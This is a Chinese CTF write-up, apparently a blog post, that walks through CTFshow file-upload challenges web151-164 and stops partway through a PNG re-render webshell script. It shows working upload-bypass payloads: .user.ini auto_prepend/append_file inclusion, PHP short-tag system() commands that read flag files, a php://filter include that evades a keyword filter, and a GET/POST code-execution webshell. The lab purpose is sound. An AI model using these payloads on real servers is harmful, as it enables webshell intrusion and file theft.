[CTFSHOW]文件上传

web 151

看源码是js判断文件类型进行拦截,先上传一个图片,再抓包改成php文件后缀就可以了,当然内容也删掉,留下php代码
在这里插入图片描述

web 152

和上题一样的解法

web 153

和上面一样的解法直接改后缀就没用了
在这里插入图片描述
测试了一下,发现是黑名单的过滤
在这里插入图片描述
所以就上传.htaccess文件把png文件解析成php
在这里插入图片描述
但是很遗憾,用不了
在这里插入图片描述
引用一波羽大佬的wp:

本题考点为.user.ini,详细配置可以参考官方文档
如果你目录下有user.ini会先去识别里面的配置,但是只有 PHP_INI_PERDIR 和 PHP_INI_USER 模式可以

找到这两个auto_append_fileauto_prepend_file,作用:
一个相当于在每个php文件尾加上 include(“xxxx”)
一个相当于文件头加上 include(“xxx”)
其中xxx就是 auto_append_file的值。

现在回到这个题。为了利用auto_append_file,我们首先上传一个带木马的图片,接着上传.user.ini内容为 auto_append_file=“xxx” xxx为我们上传的文件名。
这样就在每个php文件上包含了我们的木马文件。

在这里插入图片描述

在这里插入图片描述
因为upload有index.php,所以这个php就会添加一个include(“1.png”),就会包含到木马

然后开蚁剑连到upload就可以了

web 154

传的时候改后缀和content-type不行了,会识别内容
在这里插入图片描述
用script也不行,估计是把php给ban了,所以就用php短标签,直接传system命令
先传.user.ini
在这里插入图片描述
再传一个system命令

<?=system("tac ../f*")?>

在这里插入图片描述

访问/upload就得到了flag

web 155、156

做法同上
155还可以传post[],166不行了

web 157

ban了分号;
只用一个system不加分号也可以

<?=system("cat ../flag*")

web 158

过滤了括号,用反引号直接指向命令
在这里插入图片描述

web 159

  • php伪协议配合文件包含与.user.ini的利用

先传了一个.user.ini

auto_prepend_file=shell.png

再传图片上去,内容是
由于php被过滤,这里就用.号来绕过,在利用php伪协议进行文件的读取

<?= include"ph"."p://filter/read=convert.base64-encode/resource=../flag.ph"."p"?>

在这里插入图片描述
访问/upload/index.php,成功得到flag
在这里插入图片描述

web 160

在上一题的基础上过滤了空格,把空格换成tab就可以绕过(其实也用不上空格)
在这里插入图片描述

web 161-163

不知道为啥什么东西都传不上了,正常图片也传不上,就先放着了

web 164

  • 考察图片马二次渲染

这里是png的二次渲染
脚本:

<?php

/*<?$_GET[0]($_POST[1]);?>*/

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   
    
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
您好!对于CTF Show文件上传的问题,我可以给您一些基本的指导。 在CTF(Capture The Flag)比赛中,文件上传通常是一个常见的题目类型。这类题目要求参赛选手利用漏洞或者绕过限制,成功将文件上传到目标服务器上。 常见的文件上传漏洞包括但不限于以下几种: 1. 后缀绕过:目标服务器对上传文件的后缀进行了限制,但未对文件内容进行验证。您可以尝试修改文件后缀名,或者在上传时使用一些特殊的字符来绕过后缀检测。 2. MIME类型绕过:目标服务器对上传文件的MIME类型进行了检测,但未对文件内容进行验证。您可以尝试修改文件的Content-Type头部信息,或者在上传时使用一些特殊的字符来绕过MIME类型检测。 3. 目录穿越:目标服务器未对文件路径进行合理的校验,您可以尝试通过上传包含特殊字符(如'../')的文件名来实现目录穿越,达到上传文件到其他目录的目的。 4. 文件包含漏洞:目标服务器存在文件包含漏洞时,您可以通过上传一个恶意文件,然后在适当的条件下触发该文件被包含,从而执行您所需要的操作。 需要注意的是,在实际的CTF比赛或者演练中,上传文件是一个涉及安全性的操作,务必遵循规则和道德准则,避免对他人系统造成不必要的损害。 希望这些信息对您有所帮助!如果您有其他问题,请随时提问。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

huamanggg

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值